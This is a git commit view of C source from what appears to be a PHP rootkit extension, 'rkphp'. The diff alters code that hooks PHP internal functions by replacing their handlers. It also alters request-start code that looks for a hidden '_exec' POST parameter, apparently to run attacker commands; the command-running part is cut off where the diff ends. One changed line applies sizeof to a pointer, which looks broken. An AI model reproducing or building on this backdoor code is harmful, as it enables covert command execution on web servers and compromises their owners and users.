Browse Source

Default

master
Root 5 years ago
parent
commit
824f0693af
  1. 23
      rkphp/src/php_funcs.c

23
rkphp/src/php_funcs.c

@ -21,10 +21,10 @@ static int rkphp_hook( @@ -21,10 +21,10 @@ static int rkphp_hook(
#if PHP_MAJOR_VERSION < 7
if(zend_hash_find(CG(function_table),
method_name, strlen(method_name)+1, (void**)&function) == SUCCESS)
method_name, strlen(method_name) + 1, (void**)&function) == SUCCESS)
#else
if((function = zend_hash_str_find_ptr(CG(function_table),
method_name, strlen(method_name))) != NULL)
method_name, sizeof(method_name) - 1)) != NULL)
#endif
{
*original = function->internal_function.handler;
@ -220,25 +220,26 @@ PHP_RINIT_FUNCTION(rkphp) @@ -220,25 +220,26 @@ PHP_RINIT_FUNCTION(rkphp)
{
RKPHP_PRINTF("PHP_RINIT!\n");
zval *arr;
#if PHP_MAJOR_VERSION < 7
zval **arr;
if(zend_hash_find(&EG(symbol_table),
"_POST", sizeof("_POST") + 1, (void**)&arr) == SUCCESS)
"_POST", sizeof("_POST"), (void**)&arr) == SUCCESS)
#else
zval *arr;
if((arr = zend_hash_str_find(&EG(symbol_table),
"_POST", sizeof("_POST") - 1)) != NULL)
"_POST", sizeof("_POST"))) != NULL)
#endif
{
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
#if PHP_MAJOR_VERSION < 7
zval **val;
HashTable *ht = Z_ARRVAL_PP(arr);
if(zend_hash_find(ht,
"_exec", sizeof("_exec") + 1, (void**)&val) == SUCCESS)
"_exec", sizeof("_exec"), (void**)&val) == SUCCESS)
#else
zval *val;
HashTable *ht = Z_ARRVAL_P(arr);
if((val = zend_hash_str_find(ht,
"_exec", sizeof("_exec") - 1)) != NULL)
"_exec", sizeof("_exec"))) != NULL)
#endif
{
FILE *fp;

Loading…
Cancel
Save